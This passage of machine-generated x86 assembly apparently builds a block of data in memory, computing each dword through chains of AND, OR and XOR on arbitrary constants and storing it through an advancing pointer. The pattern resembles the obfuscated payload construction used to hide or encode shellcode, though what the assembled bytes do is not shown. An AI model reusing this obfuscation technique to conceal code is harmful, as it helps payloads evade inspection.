mov dword [ebx], eax
add ebx, ecx
or eax, 0x181e9421
and eax, 0x556bcb8f
and eax, 0x5490001
or eax, 0xe2200d3c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55aacae0
or eax, 0x392a14c8
and eax, 0xa860d4c0
or eax, 0x40042800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e37c1c4
and eax, 0x84500d00
or eax, 0x1a880f0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ef3050b
or eax, 0x7dbd6df7
and eax, 0x48d900b0
or eax, 0x82009000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a498f91
or eax, 0x1eedfa3e
and eax, 0x5481c0bc
or eax, 0xa1100440
mov dword [ebx], eax
add ebx, ecx
or eax, 0x381dce53
and eax, 0xb811c4c1
or eax, 0x2100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d91f1ea
and eax, 0x7010b580
or eax, 0x80204
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4904b26b
or eax, 0x4a6f1380
and eax, 0x5929040c
or eax, 0x4006810
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60d622b8
and eax, 0x318f4a80
or eax, 0xc2008040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x120d763
and eax, 0xb28b18a2
or eax, 0x400c218
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7653dc18
xor eax, 0x1512b2ae
and eax, 0xc0010404
or eax, 0xc168182
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24adb72a
and eax, 0xa824ae
or eax, 0x1400800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b3f865a
and eax, 0x53b1aeb2
or eax, 0xa4001000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f15ef6b
and eax, 0x8a40051
or eax, 0x1418000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40a6ad1d
or eax, 0x6b84970d
and eax, 0x42c1ba59
or eax, 0x900800a2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc6c2f21
and eax, 0x8aa5054a
or eax, 0x15a6820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5fd9336b
or eax, 0x9e4c835
and eax, 0x88e60104
or eax, 0x20000080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1258a9c7
xor eax, 0x39273be8
and eax, 0x10663200
or eax, 0x2900193
mov dword [ebx], eax
add ebx, ecx
and eax, 0x585f5874
xor eax, 0x5897ad5f
and eax, 0x881240a
or eax, 0xa5144090
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7ad31dd7
and eax, 0x71d87c51
and eax, 0x71005811
or eax, 0x60e82a6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73a47d1c
and eax, 0x420a093f
or eax, 0x88000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50f47e20
and eax, 0x237a5af1
and eax, 0x20
or eax, 0x1266525f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38b3a575
or eax, 0x3d492352
and eax, 0xa5c3453
or eax, 0x80000800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f6bfba6
and eax, 0x10428e50
and eax, 0x800
or eax, 0x3aba73c2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc4b59ce
or eax, 0x69c67ec6
and eax, 0x71103802
or eax, 0x80000121
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66c3e450
and eax, 0x3482f121
or eax, 0x82c0288
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2831f3a0
or eax, 0x7cdb47ef
and eax, 0x4042e28a
or eax, 0x3000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d5868c3
and eax, 0x1352eac3
or eax, 0x20811120
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a245bd4
and eax, 0x5cd3373d
and eax, 0x300
or eax, 0x465b2879
mov dword [ebx], eax
add ebx, ecx
or eax, 0x458af1bf
and eax, 0x79a715d
or eax, 0x98000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f02aaf9
xor eax, 0x2d6e51d6
and eax, 0x90f0a82b
or eax, 0x90955c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20bd7444
xor eax, 0x70e69204
and eax, 0x40084ecb
or eax, 0x24e48000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37a24db3
and eax, 0x40088078
or eax, 0x8b03000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73b4d35e
or eax, 0x44071230
and eax, 0x33919334
or eax, 0x80000481
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9ece70e
xor eax, 0x4a1a8114
and eax, 0xc1063288
or eax, 0x6100814
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c8610d0
and eax, 0x60000
or eax, 0x32f14504
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7aaa5ee5
and eax, 0x8491961
or eax, 0x8380000c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4986699a
and eax, 0x12ba2405
and eax, 0x2080004
or eax, 0xa1d14560
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16c337fe
or eax, 0x20a01a87
and eax, 0x20811be3
or eax, 0xdd064010
mov dword [ebx], eax
add ebx, ecx
or eax, 0xeb4d3ac
and eax, 0xe111402f
or eax, 0x402400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20ada990
and eax, 0x2000
or eax, 0x7a20882
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79884461
and eax, 0x1800000
or eax, 0x925fcfec
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c8169d0
and eax, 0x5458a63c
or eax, 0x20004181
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3727d1c2
and eax, 0x3410405
or eax, 0xb8800080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x530beb6c
and eax, 0xf18a81c9
or eax, 0x4141012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6296b69
or eax, 0x42768b98
and eax, 0xc1d20a80
or eax, 0xc000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47d494e5
and eax, 0xa061644
or eax, 0x54294108
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2fa8e112
or eax, 0x34b041c8
and eax, 0x2c880100
or eax, 0x4045aa14
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7916296a
and eax, 0x81a2818
or eax, 0x82005400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x233494ec
xor eax, 0x6a8714e4
and eax, 0x81b08800
or eax, 0x3c060081
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12974ab
or eax, 0x2fbb454a
and eax, 0x9b0259a8
or eax, 0x214
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7602571d
and eax, 0xa90219b8
or eax, 0x188040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6154b37d
and eax, 0x480a0a81
or eax, 0x17209102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x67ac9d5a
and eax, 0x3d5d74af
and eax, 0x4081000
or eax, 0x4005e09c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ee9b3c3
xor eax, 0x64d44f0b
and eax, 0x8300000
or eax, 0x81cdb10a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c9ad369
and eax, 0x8880100
or eax, 0x57412485
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50e98682
or eax, 0x3feba823
and eax, 0xd020826
or eax, 0xc0141490
mov dword [ebx], eax
add ebx, ecx
and eax, 0x167bd3b
and eax, 0x1061000
or eax, 0xdee92008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c0f8478
or eax, 0x7e0a54d6
and eax, 0x3e081412
or eax, 0x81302321
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27db7ce8
and eax, 0x7fd49809
and eax, 0x20001801
or eax, 0x4e3b2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30cfd29
or eax, 0x57db1d6a
and eax, 0x21111bb0
or eax, 0x8004a005
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bf8b71f
and eax, 0x50400ca0
or eax, 0x1027154
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40290489
and eax, 0xb001c
or eax, 0x86840400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1158037f
xor eax, 0x52fc4ca6
and eax, 0x45020110
or eax, 0x32803022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5933888b
and eax, 0xa210011
or eax, 0x910c4446
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13c2cd00
and eax, 0x226892b
and eax, 0x40801
or eax, 0xad084234
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43e46fd1
and eax, 0xaa80480
or eax, 0x111008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4398c1ff
or eax, 0x7251d797
and eax, 0x2aa1d1ed
or eax, 0x42800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ea3d7db
and eax, 0xa019108
or eax, 0x11160c16
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64d8f129
xor eax, 0x505b3e5
and eax, 0x2aca9702
or eax, 0x81152020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e7b9844
and eax, 0x90a42026
or eax, 0x2025080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x38b0fd03
xor eax, 0x41a9afe
and eax, 0x14182234
or eax, 0xeb050003
mov dword [ebx], eax
add ebx, ecx
or eax, 0xba0a01a
and eax, 0x61a1119a
and eax, 0x6181001a
or eax, 0x9e4c0dc1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d0f81dd
or eax, 0x2f2847b
and eax, 0x5f1b84c8
or eax, 0x5800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57d541a4
or eax, 0x405dbfa4
and eax, 0x1140cb80
or eax, 0x28a20058
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24e2faec
and eax, 0x19427100
or eax, 0x42190403
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b1de381
or eax, 0x51d4e041
and eax, 0x30d4000
or eax, 0xa0220824
mov dword [ebx], eax
add ebx, ecx
or eax, 0xef585bf
and eax, 0x81eec105
or eax, 0x10003240
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f24677e
and eax, 0x532bf575
and eax, 0x1204044
or eax, 0x82dd8680
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b8bf386
xor eax, 0x151618c8
and eax, 0x68e1a0c
or eax, 0x61200521
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x610e47c2
and eax, 0x29ed8396
and eax, 6
or eax, 0x53537a60
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a5b18ff
and eax, 0x4a8f5e7b
and eax, 0x4018
or eax, 0x71f32504
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a74e642
and eax, 0x363d2c0f
and eax, 0x300400
or eax, 0x8a87c344
mov dword [ebx], eax
add ebx, ecx
and eax, 0x997891a
and eax, 0x8928000
or eax, 0xa64822f3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1cd5bed6
or eax, 0x6f40fd62
and eax, 0xfd473c07
or eax, 0xb00288
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x713a5983
and eax, 0xcd640c
or eax, 0x701090d1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4cc9de47
or eax, 0x6f0210b
and eax, 0x38c0221b
or eax, 0xc10a5424
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x195150e5
and eax, 0xc08004d0
or eax, 0xe444921
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54377451
and eax, 0x98000980
or eax, 0x4064c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c08088d
and eax, 0x54040ecc
or eax, 0x503010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5987df5f
and eax, 0x147132f1
and eax, 0x10001050
or eax, 0x63b2498d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x35de78fe
and eax, 0x218058c8
or eax, 0xc008603
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27f42737
xor eax, 0x55333d45
and eax, 0xb458439
or eax, 0x902844
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ac310b9
or eax, 0x33ab4124
and eax, 0x1ec8180
or eax, 0x40000202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e3bd9df
and eax, 0x2b544240
or eax, 0xc0088480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d00d4af
and eax, 0x100c000
or eax, 0xd232107b
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfec9f94
and eax, 0x3008000
or eax, 0xc09c2824
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1da99c69
xor eax, 0x7059be99
and eax, 0x408000b1
or eax, 0xa028106
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ac87082
and eax, 0x2000082
or eax, 0x1000041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7902aeef
xor eax, 0x3f7b3e71
and eax, 0x14280480
or eax, 0x48105
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a5f1bd2
and eax, 0x4a329454
or eax, 0x90080188
mov dword [ebx], eax
add ebx, ecx
or eax, 0x261208b4
or eax, 0x69947ec0
and eax, 0xc7b69790
or eax, 0x410003
mov dword [ebx], eax
add ebx, ecx
and eax, 0x128b7ab2
xor eax, 0x7870fadb
and eax, 0x68e2e849
or eax, 0x810c1284
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4abac9ec
and eax, 0x7ebcffe
and eax, 0x300
or eax, 0x743c6402
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19f1e840
and eax, 0x21c00440
or eax, 0x12200019
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b9c7334
and eax, 0x20800010
or eax, 0xd43e5542
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74e80afb
and eax, 0x54800012
or eax, 0x8942c685
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc141518
or eax, 0x39661f33
and eax, 0x3d660001
or eax, 0xc099a0c8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23e818e2
and eax, 0x1e101023
or eax, 0x21280700
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20638125
and eax, 0x5c08c715
and eax, 0x10080101
or eax, 0x4377480a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x534279b4
and eax, 0x28208c
or eax, 0xe7824a40
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60d0639a
and eax, 0x878842c6
or eax, 0x10058020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a6e3bbc
and eax, 0x5463ab76
or eax, 1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55866f64
or eax, 0x348701ea
and eax, 0x8208a6
or eax, 0x230c010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1463de14
and eax, 0x6d00402
or eax, 0xa92c4818
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f4a3e9f
and eax, 0x30004001
or eax, 0xe000012
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa1aed7a
and eax, 0xa000012
or eax, 0xa1f90680
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c6dcda3
or eax, 0xa6258b
and eax, 0x84a40400
or eax, 0x18410004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33a24db2
and eax, 0x10a00400
or eax, 0xe1183142
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7dc18622
xor eax, 0x1ffbba69
and eax, 0x83800801
or eax, 0x6c69d076
mov dword [ebx], eax
add ebx, ecx
or eax, 0x23c895b7
and eax, 0xcea8c4a7
or eax, 0x10120000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7edc7a27
and eax, 0x1fe10054
and eax, 0x14e00004
or eax, 0xc10a18f8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18bf5b9c
and eax, 0x7c80f719
and eax, 0x1008
or eax, 0x6854a5c5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74e666b2
and eax, 0x10100025
or eax, 0xe1090080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69f8055b
and eax, 0x4164a29
and eax, 0x100009
or eax, 0xbd09f110
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25414a5e
and eax, 0x384033c9
and eax, 0x20000000
or eax, 0xd9403937
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16263be4
xor eax, 0x48ff20ae
and eax, 0x10bc0000
or eax, 0xa400a011
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1eecc334
xor eax, 0xd9bb30f
and eax, 0xa48b1000
or eax, 0x342c14
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1fe53e6f
and eax, 0x3b180063
or eax, 0x40842c04
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb39c171
and eax, 0x68080d36
or eax, 0x400008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75a40280
or eax, 0x1ad90c76
and eax, 0x68104a4
or eax, 0xe0028001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a2fdccc
and eax, 0x8484
or eax, 0x3c14426a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x121ed6e8
and eax, 0x27a5b304
and eax, 0x6000004
or eax, 0x19a6ec99
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d0733ea
and eax, 0x6881027e
or eax, 0x400000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66cd2f24
and eax, 0x16322b33
and eax, 0x4000a10
or eax, 0xc820d4c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d15b60f
and eax, 0x1925fa93
or eax, 0x22820120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e98840f
or eax, 0x3e07af1b
and eax, 0x313dd59d
or eax, 0x80c00040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6fec4e9
and eax, 0x24d9c463
and eax, 0x4010020
or eax, 0x80f03618
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ec490c8
and eax, 0x3a1e4028
and eax, 8
or eax, 0x8dc50eb4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ccb61e4
and eax, 0x59020a40
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c629f8b
and eax, 0x8000a00
or eax, 0x2c5f558
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28dea82
and eax, 0x3cd7f13
and eax, 0x2081a12
or eax, 0x792280a8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30e7d2b6
or eax, 0xc2b63bb
and eax, 0x3b07613d
or eax, 0x440
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45e14654
xor eax, 0x7a78391c
and eax, 0x181a34
or eax, 0xb80185c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x587886e6
and eax, 0x80200902
or eax, 0x1580c245
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79450a20
and eax, 0x61e4ca02
or eax, 0x488
mov dword [ebx], eax
add ebx, ecx
or eax, 0x304075d2
and eax, 0x500464c0
or eax, 0x8a1a0021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1468e051
and eax, 0x8e508010
or eax, 0x10095849
mov dword [ebx], eax
add ebx, ecx
or eax, 0x347d47f2
xor eax, 0x30647b51
and eax, 0x8610a02a
or eax, 0x40a00a11
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d1e8d7b
or eax, 0x571018e9
and eax, 0x74ba1609
or eax, 0x18004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33dc2a79
and eax, 0x607fb269
or eax, 0x88004080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ad7c595
xor eax, 0xef36e69
and eax, 0x140c0014
or eax, 0x8f0206a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cad74ab
or eax, 0x6c2a868
and eax, 0x2424d4e1
or eax, 0x81000200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d98c6d4
and eax, 0x2534d265
or eax, 0x20000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56e06345
and eax, 0x6163883f
and eax, 0x400005
or eax, 0x82084948
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73427f76
xor eax, 0x56384f43
and eax, 0x7100078
or eax, 0x10488402
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6309a954
and eax, 0x2610017e
or eax, 0x88201000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3497ee43
xor eax, 0x74aaa35b
and eax, 0x400c5c46
or eax, 0x1f02318
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc65acc0
and eax, 0x4c35d916
or eax, 0x12020020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37ff0a6e
or eax, 0x877de84
and eax, 0x60f1084c
or eax, 0x4000020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b8ef50f
and eax, 0x470b5fdb
and eax, 0x40000000
or eax, 0xa99d0881
mov dword [ebx], eax
add ebx, ecx
and eax, 0x792ef7e9
and eax, 0x57eec6d
and eax, 0xc0001
or eax, 0xc09268e2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b7ca50b
or eax, 0x346b714
and eax, 0x93c246d0
or eax, 0x10002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb0c6482
xor eax, 0x662b086b
and eax, 0x70c00802
or eax, 0x8c480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6880a36a
xor eax, 0x30d10048
and eax, 0x401125a2
or eax, 0x14400018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14bbf809
and eax, 0x40515e9a
and eax, 0x40405c12
or eax, 0x8f028049
mov dword [ebx], eax
add ebx, ecx
or eax, 0x831021
or eax, 0x47310bb5
and eax, 0xc162c7d6
or eax, 0x10002000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75fbeceb
and eax, 0x20e84dec
or eax, 0x8001000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7be66b08
xor eax, 0x2b2d2bfb
and eax, 0xc84240
or eax, 0xc4008100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x382fefe
and eax, 0x40
or eax, 0x247628b0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66bc1b44
and eax, 0x24140800
or eax, 0xc08b221a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1acf86c1
or eax, 0x27971951
and eax, 0x220b1a11
or eax, 0x4060202a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x229a1049
and eax, 0x283103a
or eax, 0x14000404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbb98cd2
and eax, 0x475aa14f
and eax, 0x1088044
or eax, 0x6a254f00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4afba884
and eax, 0x426080
or eax, 0x401902b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a9b2de8
and eax, 0x6501d01
or eax, 0x61270034
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a029de1
or eax, 0x6bbbd2d4
and eax, 0x2c4d1084
or eax, 0x2c22
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d34b519
xor eax, 0x5b89a5ba
and eax, 0x24098012
or eax, 0x8224e01
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x320712f3
and eax, 0x111dfeb6
and eax, 0x5480
or eax, 0xeca0220b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c9ea9fb
or eax, 0x60d2a3a
and eax, 0x4003dc08
or eax, 0x10400084
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c307850
or eax, 0x7cad06ac
and eax, 0x5820408c
or eax, 0x1102010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x413ba84c
and eax, 0x221a56bd
and eax, 0x100008
or eax, 0x885f861
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9a95115
xor eax, 0x5fffe9d6
and eax, 0x4c03402a
or eax, 0x810ca255
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x278ed3f8
and eax, 0xa2011101
or eax, 0x14544a48
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53c08cee
and eax, 0x2000008
or eax, 0xc5895233
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d8c584d
or eax, 0xffcf5ec
and eax, 0x439074cd
or eax, 0x80020202
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a08295e
and eax, 0x9a12238c
or eax, 0x400020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2dad2dbe
xor eax, 0x329e161b
and eax, 0x882029a0
or eax, 0x728a061a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5162768c
and eax, 0x7752bf05
and eax, 0x40422600
or eax, 0x8425003a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e58f44e
and eax, 0x40000008
or eax, 0x2b3a4971
mov dword [ebx], eax
add ebx, ecx
or eax, 0x526d9f4
or eax, 0x48099efd
and eax, 0x2f32d6e4
or eax, 0x10400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1464d10e
or eax, 0x62676b67
and eax, 0x7242b141
or eax, 0x800008
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf1f75ce
xor eax, 0x52ad34f1
and eax, 0x400a00b9
or eax, 0x8b004244
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b09293c
and eax, 0x120229e8
or eax, 0xa40002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a11ea2b
and eax, 0x6236822a
or eax, 0x81410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22df9826
or eax, 0x69c3eafe
and eax, 0x2ad8ca72
or eax, 0x80000501
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfee060
and eax, 0x48c000
or eax, 0xe202278a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59fe8bea
or eax, 0x5a35a9ce
and eax, 0xe86b4fca
or eax, 0x4001011
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x512a5630
and eax, 0x350101e9
or eax, 0x2067400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8a6440f
xor eax, 0xd203897
and eax, 0x22800811
or eax, 0xc44ea282
mov dword [ebx], eax
add ebx, ecx
or eax, 0x29852d0a
and eax, 0xedcc0c1a
or eax, 0x5060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c4e9e9f
and eax, 0x46ee8d63
and eax, 0x20020
or eax, 0x3644678e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26fac3a3
and eax, 0x224002a2
or eax, 0x102c2414
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16dc5b1f
and eax, 0x10440212
or eax, 0x61b1dd00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4429b2ef
xor eax, 0x1ddd96a0
and eax, 0x40880000
or eax, 0xa0018105
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b12f40
or eax, 0x440f8f08
and eax, 0x40038708
or eax, 0x3b7070e6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x241d0dfd
or eax, 0x240e9b6b
and eax, 0x69485803
or eax, 0x800000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14f70bbb
xor eax, 0x2d708fc6
and eax, 0x10451c0c
or eax, 0xaa200181
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50af268c
or eax, 0x380def06
and eax, 0x7061a38e
or eax, 0x100020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6241353d
and eax, 0x37aee55
and eax, 0x2300011
or eax, 0x50457964
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf52b40f
and eax, 0x7b66316f
and eax, 0x49460029
or eax, 0x24894a10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56389cd1
xor eax, 0xe689e7a
and eax, 0x8600008
or eax, 0x30196104
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55a5cddd
and eax, 0x2550ac41
or eax, 0x10215026
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74e068f4
xor eax, 0x782ea241
and eax, 0xc44c800
or eax, 0xb2202510
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33e9f501
and eax, 0x8d0d1000
or eax, 0x6270044a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37418ac4
and eax, 0x21400000
or eax, 0xc0b0b43d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29075f89
or eax, 0x467a5653
and eax, 0x63580241
or eax, 0x88018084
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1491e0b8
and eax, 0xb718c208
or eax, 0x241000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72440038
and eax, 0x7049030
or eax, 0x8010403
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49c0f6a0
and eax, 0x1000020
or eax, 0xe6304b10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4eaf97f3
and eax, 0x8801cc41
or eax, 0x2000218
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1caea79
and eax, 0x801
or eax, 0xb2321a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b817991
or eax, 0x21690d9c
and eax, 0x302b19a0
or eax, 0xa10a040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c634c7b
and eax, 0x222ed93
or eax, 0x40840200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x662aa89b
and eax, 0x48c418a
or eax, 0x99400040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c04dbb5
and eax, 0xc044080
or eax, 0x23bbbe25
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32b8fce8
and eax, 0x20885c80
or eax, 0x8506024b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2891de08
and eax, 0x20004600
or eax, 0x4b688086
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b82136b
and eax, 0x70484549
or eax, 0xf102202
